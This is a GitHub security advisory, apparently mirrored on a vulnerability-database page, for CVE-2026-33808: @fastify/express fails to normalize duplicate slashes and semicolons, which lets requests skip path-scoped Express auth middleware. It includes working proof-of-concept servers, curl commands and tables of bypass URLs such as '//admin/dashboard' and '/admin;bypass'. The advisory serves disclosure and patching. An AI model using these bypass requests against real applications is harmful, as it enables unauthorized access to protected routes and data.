GHSA-6HW5-45GM-FJ88

Vulnerability from github – Published: 2026-04-16 01:03 – Updated: 2026-04-16 01:03
VLAI?
Summary
@fastify/express has a middleware authentication bypass via URL normalization gaps (duplicate slashes and semicolons)
Details

Summary

@fastify/express v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors:

  1. Duplicate slashes (//admin/dashboard) when ignoreDuplicateSlashes: true is configured
  2. Semicolon delimiters (/admin;bypass) when useSemicolonDelimiter: true is configured

In both cases, Fastify's router normalizes the URL and matches the route, but @fastify/express passes the original un-normalized URL to Express middleware, which fails to match and is skipped.

Note: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in @fastify/middie via GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but @fastify/express does not include the equivalent fixes.

Details

The vulnerability exists in @fastify/express's enhanceRequest function (index.js lines 43-46):

const decodedUrl = decodeURI(url)
req.raw.url = decodedUrl

The decodeURI() function only handles percent-encoding — it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify's router options are enabled, find-my-way applies these normalizations during route matching, but @fastify/express passes the original URL to Express middleware.

Vector 1: Duplicate Slashes

When ignoreDuplicateSlashes: true is set, Fastify's find-my-way router normalizes //admin/dashboard to /admin/dashboard for route matching. However, Express middleware receives //admin/dashboard. Express's app.use('/admin', authMiddleware) expects paths to start with /admin/, but //admin does not match the /admin prefix pattern.

The attack sequence: 1. Client sends GET //admin/dashboard 2. Fastify's router normalizes this to /admin/dashboard and finds a matching route 3. enhanceRequest sets req.raw.url = "//admin/dashboard" (preserves double slash) 4. Express middleware app.use('/admin', authMiddleware) does not match //admin prefix 5. Authentication is bypassed, and the Fastify route handler executes

Vector 2: Semicolon Delimiters

When useSemicolonDelimiter: true is configured, the router uses find-my-way's safeDecodeURI() which treats semicolons as query string delimiters, splitting /admin;bypass into path /admin and querystring bypass for route matching. However, @fastify/express passes the full URL /admin;bypass to Express middleware.

Express uses path-to-regexp v0.1.12 internally, which compiles middleware paths like /admin to the regex /^\/admin\/?(?=\/|$)/i. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.

The attack flow: 1. Request GET /admin;bypass arrives 2. Fastify router: splits at ; — matches route GET /admin 3. Express middleware: regex /^\/admin\/?(?=\/|$)/i fails against /admin;bypass — middleware skipped 4. Route handler executes without authentication checks

PoC

Duplicate Slash Bypass

Save as server.js and run with node server.js:

const fastify = require('fastify')

async function start() {
  const app = fastify({
    logger: false,
    ignoreDuplicateSlashes: true,  // documented Fastify option
  })

  await app.register(require('@fastify/express'))

  // Standard Express middleware auth pattern
  app.use('/admin', function expressAuthGate(req, res, next) {
    const auth = req.headers.authorization
    if (!auth || auth !== 'Bearer admin-secret-token') {
      res.statusCode = 403
      res.setHeader('content-type', 'application/json')
      res.end(JSON.stringify({ error: 'Forbidden by Express middleware' }))
      return
    }
    next()
  })

  // Protected route
  app.get('/admin/dashboard', async (request) => {
    return { message: 'Admin dashboard', secret: 'sensitive-admin-data' }
  })

  await app.listen({ port: 3000 })
  console.log('Listening on http://localhost:3000')
}
start()
# Normal access — blocked by Express middleware
$ curl -s http://localhost:3000/admin/dashboard
{"error":"Forbidden by Express middleware"}

# Double-slash bypass — Express middleware skipped, handler runs
$ curl -s http://localhost:3000//admin/dashboard
{"message":"Admin dashboard","secret":"sensitive-admin-data"}

# Triple-slash also works
$ curl -s http://localhost:3000///admin/dashboard
{"message":"Admin dashboard","secret":"sensitive-admin-data"}

Multiple variants work: ///admin, /.//admin, //admin//dashboard, etc.

Semicolon Bypass

const fastify = require('fastify')
const http = require('http')

function get(port, url) {
  return new Promise((resolve, reject) => {
    http.get('http://localhost:' + port + url, (res) => {
      let data = ''
      res.on('data', (chunk) => data += chunk)
      res.on('end', () => resolve({ status: res.statusCode, body: data }))
    }).on('error', reject)
  })
}

async function test() {
  const app = fastify({ 
    logger: false, 
    routerOptions: { useSemicolonDelimiter: true }
  })
  await app.register(require('@fastify/express'))

  // Auth middleware blocking unauthenticated access
  app.use('/admin', function(req, res, next) {
    if (!req.headers.authorization) {
      res.statusCode = 403
      res.setHeader('content-type', 'application/json')
      res.end(JSON.stringify({ error: 'Forbidden' }))
      return
    }
    next()
  })

  app.get('/admin', async () => ({ secret: 'classified-info' }))

  await app.listen({ port: 19900, host: '0.0.0.0' })

  // Blocked:
  let r = await get(19900, '/admin')
  console.log('/admin:', r.status, r.body)
  // Output: /admin: 403 {"error":"Forbidden"}

  // BYPASS:
  r = await get(19900, '/admin;bypass')
  console.log('/admin;bypass:', r.status, r.body)
  // Output: /admin;bypass: 200 {"secret":"classified-info"}

  r = await get(19900, '/admin;')
  console.log('/admin;:', r.status, r.body)
  // Output: /admin;: 200 {"secret":"classified-info"}

  await app.close()
}
test()

Actual output:

/admin: 403 {"error":"Forbidden"}
/admin;bypass: 200 {"secret":"classified-info"}
/admin;: 200 {"secret":"classified-info"}

The semicolon bypass works with any text after it: /admin;, /admin;x, /admin;jsessionid=123.

Impact

Complete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path.

Duplicate slash vector affects applications that: 1. Use @fastify/express with ignoreDuplicateSlashes: true 2. Rely on Express middleware for authentication/authorization 3. Use path-scoped middleware patterns like app.use('/admin', authMiddleware)

Semicolon vector affects applications that: 1. Use @fastify/express with useSemicolonDelimiter: true (commonly enabled for Java application server compatibility, e.g., handling ;jsessionid= parameters) 2. Rely on Express middleware for authentication/authorization 3. Use path-scoped middleware patterns like app.use('/admin', authMiddleware)

The bypass works against all Express middleware that uses prefix path matching, including popular packages like express-basic-auth, custom authentication middleware, and rate limiting middleware.

The ignoreDuplicateSlashes and useSemicolonDelimiter options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.

Affected Versions

  • @fastify/express v4.0.4 (latest) with Fastify 5.x
  • Requires ignoreDuplicateSlashes: true or useSemicolonDelimiter: true in Fastify configuration (via top-level option or routerOptions)

Variant Testing

Duplicate slashes:

Request Express Middleware Handler Runs Result
GET /admin/dashboard Invoked (blocks) No 403 Forbidden
GET //admin/dashboard Skipped Yes 200 OK — BYPASS
GET ///admin/dashboard Skipped Yes 200 OK — BYPASS
GET /.//admin/dashboard Skipped Yes 200 OK — BYPASS
GET //admin//dashboard Skipped Yes 200 OK — BYPASS
GET /admin//dashboard Invoked (blocks) No 403 Forbidden

Semicolons:

URL Express MW Fires Route Matches Result
/admin Yes Yes (200/403) Normal
/admin; No Yes (200) BYPASS
/admin;bypass No Yes (200) BYPASS
/admin;x=1 No Yes (200) BYPASS
/admin;/dashboard No Yes (200, routes to /admin) BYPASS
/admin/dashboard;x Yes Yes (routes to /admin/dashboard) Normal (prefix /admin/ still matches)

The semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., /admin/dashboard;x), Express's prefix regex succeeds because the /admin/ part matches before the semicolon appears.

Suggested Fix

@fastify/express should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically: - When ignoreDuplicateSlashes is enabled, apply FindMyWay.removeDuplicateSlashes() to req.raw.url before middleware execution - When useSemicolonDelimiter is enabled, strip semicolon-delimited parameters from the URL before passing to Express

This would match the normalization behavior that @fastify/middie already implements via sanitizeUrlPath() and normalizePathForMatching().

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@fastify/express"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33808"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T01:03:46Z",
    "nvd_published_at": "2026-04-15T10:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\n`@fastify/express` v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors:\n\n1. **Duplicate slashes** (`//admin/dashboard`) when `ignoreDuplicateSlashes: true` is configured\n2. **Semicolon delimiters** (`/admin;bypass`) when `useSemicolonDelimiter: true` is configured\n\nIn both cases, Fastify\u0027s router normalizes the URL and matches the route, but `@fastify/express` passes the original un-normalized URL to Express middleware, which fails to match and is skipped.\n\nNote: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in `@fastify/middie` via GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but `@fastify/express` does not include the equivalent fixes.\n\n### Details\n\nThe vulnerability exists in `@fastify/express`\u0027s `enhanceRequest` function (`index.js` lines 43-46):\n\n```javascript\nconst decodedUrl = decodeURI(url)\nreq.raw.url = decodedUrl\n```\n\nThe `decodeURI()` function only handles percent-encoding \u2014 it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify\u0027s router options are enabled, `find-my-way` applies these normalizations during route matching, but `@fastify/express` passes the original URL to Express middleware.\n\n#### Vector 1: Duplicate Slashes\n\nWhen `ignoreDuplicateSlashes: true` is set, Fastify\u0027s `find-my-way` router normalizes `//admin/dashboard` to `/admin/dashboard` for route matching. However, Express middleware receives `//admin/dashboard`. Express\u0027s `app.use(\u0027/admin\u0027, authMiddleware)` expects paths to start with `/admin/`, but `//admin` does not match the `/admin` prefix pattern.\n\nThe attack sequence:\n1. Client sends `GET //admin/dashboard`\n2. Fastify\u0027s router normalizes this to `/admin/dashboard` and finds a matching route\n3. `enhanceRequest` sets `req.raw.url = \"//admin/dashboard\"` (preserves double slash)\n4. Express middleware `app.use(\u0027/admin\u0027, authMiddleware)` does not match `//admin` prefix\n5. Authentication is bypassed, and the Fastify route handler executes\n\n#### Vector 2: Semicolon Delimiters\n\nWhen `useSemicolonDelimiter: true` is configured, the router uses `find-my-way`\u0027s `safeDecodeURI()` which treats semicolons as query string delimiters, splitting `/admin;bypass` into path `/admin` and querystring `bypass` for route matching. However, `@fastify/express` passes the full URL `/admin;bypass` to Express middleware.\n\nExpress uses path-to-regexp v0.1.12 internally, which compiles middleware paths like `/admin` to the regex `/^\\/admin\\/?(?=\\/|$)/i`. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.\n\nThe attack flow:\n1. Request `GET /admin;bypass` arrives\n2. Fastify router: splits at `;` \u2014 matches route `GET /admin`\n3. Express middleware: regex `/^\\/admin\\/?(?=\\/|$)/i` fails against `/admin;bypass` \u2014 middleware skipped\n4. Route handler executes without authentication checks\n\n### PoC\n\n#### Duplicate Slash Bypass\n\nSave as `server.js` and run with `node server.js`:\n\n```js\nconst fastify = require(\u0027fastify\u0027)\n\nasync function start() {\n  const app = fastify({\n    logger: false,\n    ignoreDuplicateSlashes: true,  // documented Fastify option\n  })\n\n  await app.register(require(\u0027@fastify/express\u0027))\n\n  // Standard Express middleware auth pattern\n  app.use(\u0027/admin\u0027, function expressAuthGate(req, res, next) {\n    const auth = req.headers.authorization\n    if (!auth || auth !== \u0027Bearer admin-secret-token\u0027) {\n      res.statusCode = 403\n      res.setHeader(\u0027content-type\u0027, \u0027application/json\u0027)\n      res.end(JSON.stringify({ error: \u0027Forbidden by Express middleware\u0027 }))\n      return\n    }\n    next()\n  })\n\n  // Protected route\n  app.get(\u0027/admin/dashboard\u0027, async (request) =\u003e {\n    return { message: \u0027Admin dashboard\u0027, secret: \u0027sensitive-admin-data\u0027 }\n  })\n\n  await app.listen({ port: 3000 })\n  console.log(\u0027Listening on http://localhost:3000\u0027)\n}\nstart()\n```\n\n```bash\n# Normal access \u2014 blocked by Express middleware\n$ curl -s http://localhost:3000/admin/dashboard\n{\"error\":\"Forbidden by Express middleware\"}\n\n# Double-slash bypass \u2014 Express middleware skipped, handler runs\n$ curl -s http://localhost:3000//admin/dashboard\n{\"message\":\"Admin dashboard\",\"secret\":\"sensitive-admin-data\"}\n\n# Triple-slash also works\n$ curl -s http://localhost:3000///admin/dashboard\n{\"message\":\"Admin dashboard\",\"secret\":\"sensitive-admin-data\"}\n```\n\nMultiple variants work: `///admin`, `/.//admin`, `//admin//dashboard`, etc.\n\n#### Semicolon Bypass\n\n```javascript\nconst fastify = require(\u0027fastify\u0027)\nconst http = require(\u0027http\u0027)\n\nfunction get(port, url) {\n  return new Promise((resolve, reject) =\u003e {\n    http.get(\u0027http://localhost:\u0027 + port + url, (res) =\u003e {\n      let data = \u0027\u0027\n      res.on(\u0027data\u0027, (chunk) =\u003e data += chunk)\n      res.on(\u0027end\u0027, () =\u003e resolve({ status: res.statusCode, body: data }))\n    }).on(\u0027error\u0027, reject)\n  })\n}\n\nasync function test() {\n  const app = fastify({ \n    logger: false, \n    routerOptions: { useSemicolonDelimiter: true }\n  })\n  await app.register(require(\u0027@fastify/express\u0027))\n  \n  // Auth middleware blocking unauthenticated access\n  app.use(\u0027/admin\u0027, function(req, res, next) {\n    if (!req.headers.authorization) {\n      res.statusCode = 403\n      res.setHeader(\u0027content-type\u0027, \u0027application/json\u0027)\n      res.end(JSON.stringify({ error: \u0027Forbidden\u0027 }))\n      return\n    }\n    next()\n  })\n  \n  app.get(\u0027/admin\u0027, async () =\u003e ({ secret: \u0027classified-info\u0027 }))\n  \n  await app.listen({ port: 19900, host: \u00270.0.0.0\u0027 })\n  \n  // Blocked:\n  let r = await get(19900, \u0027/admin\u0027)\n  console.log(\u0027/admin:\u0027, r.status, r.body)\n  // Output: /admin: 403 {\"error\":\"Forbidden\"}\n  \n  // BYPASS:\n  r = await get(19900, \u0027/admin;bypass\u0027)\n  console.log(\u0027/admin;bypass:\u0027, r.status, r.body)\n  // Output: /admin;bypass: 200 {\"secret\":\"classified-info\"}\n  \n  r = await get(19900, \u0027/admin;\u0027)\n  console.log(\u0027/admin;:\u0027, r.status, r.body)\n  // Output: /admin;: 200 {\"secret\":\"classified-info\"}\n  \n  await app.close()\n}\ntest()\n```\n\nActual output:\n```\n/admin: 403 {\"error\":\"Forbidden\"}\n/admin;bypass: 200 {\"secret\":\"classified-info\"}\n/admin;: 200 {\"secret\":\"classified-info\"}\n```\n\nThe semicolon bypass works with any text after it: `/admin;`, `/admin;x`, `/admin;jsessionid=123`.\n\n### Impact\n\nComplete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path.\n\n**Duplicate slash vector** affects applications that:\n1. Use `@fastify/express` with `ignoreDuplicateSlashes: true`\n2. Rely on Express middleware for authentication/authorization\n3. Use path-scoped middleware patterns like `app.use(\u0027/admin\u0027, authMiddleware)`\n\n**Semicolon vector** affects applications that:\n1. Use `@fastify/express` with `useSemicolonDelimiter: true` (commonly enabled for Java application server compatibility, e.g., handling `;jsessionid=` parameters)\n2. Rely on Express middleware for authentication/authorization\n3. Use path-scoped middleware patterns like `app.use(\u0027/admin\u0027, authMiddleware)`\n\nThe bypass works against all Express middleware that uses prefix path matching, including popular packages like `express-basic-auth`, custom authentication middleware, and rate limiting middleware.\n\nThe `ignoreDuplicateSlashes` and `useSemicolonDelimiter` options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.\n\n### Affected Versions\n\n- `@fastify/express` v4.0.4 (latest) with Fastify 5.x\n- Requires `ignoreDuplicateSlashes: true` or `useSemicolonDelimiter: true` in Fastify configuration (via top-level option or `routerOptions`)\n\n### Variant Testing\n\n**Duplicate slashes:**\n\n| Request | Express Middleware | Handler Runs | Result |\n|---------|-------------------|--------------|--------|\n| `GET /admin/dashboard` | Invoked (blocks) | No | 403 Forbidden |\n| `GET //admin/dashboard` | Skipped | Yes | 200 OK \u2014 **BYPASS** |\n| `GET ///admin/dashboard` | Skipped | Yes | 200 OK \u2014 **BYPASS** |\n| `GET /.//admin/dashboard` | Skipped | Yes | 200 OK \u2014 **BYPASS** |\n| `GET //admin//dashboard` | Skipped | Yes | 200 OK \u2014 **BYPASS** |\n| `GET /admin//dashboard` | Invoked (blocks) | No | 403 Forbidden |\n\n**Semicolons:**\n\n| URL | Express MW Fires | Route Matches | Result |\n|---|---|---|---|\n| `/admin` | Yes | Yes (200/403) | Normal |\n| `/admin;` | No | Yes (200) | **BYPASS** |\n| `/admin;bypass` | No | Yes (200) | **BYPASS** |\n| `/admin;x=1` | No | Yes (200) | **BYPASS** |\n| `/admin;/dashboard` | No | Yes (200, routes to /admin) | **BYPASS** |\n| `/admin/dashboard;x` | Yes | Yes (routes to /admin/dashboard) | Normal (prefix /admin/ still matches) |\n\nThe semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., `/admin/dashboard;x`), Express\u0027s prefix regex succeeds because the `/admin/` part matches before the semicolon appears.\n\n### Suggested Fix\n\n`@fastify/express` should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically:\n- When `ignoreDuplicateSlashes` is enabled, apply `FindMyWay.removeDuplicateSlashes()` to `req.raw.url` before middleware execution\n- When `useSemicolonDelimiter` is enabled, strip semicolon-delimited parameters from the URL before passing to Express\n\nThis would match the normalization behavior that `@fastify/middie` already implements via `sanitizeUrlPath()` and `normalizePathForMatching()`.",
  "id": "GHSA-6hw5-45gm-fj88",
  "modified": "2026-04-16T01:03:46Z",
  "published": "2026-04-16T01:03:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify-express/security/advisories/GHSA-6hw5-45gm-fj88"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33808"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/fastify-express"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@fastify/express has a middleware authentication bypass via URL normalization gaps (duplicate slashes and semicolons)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…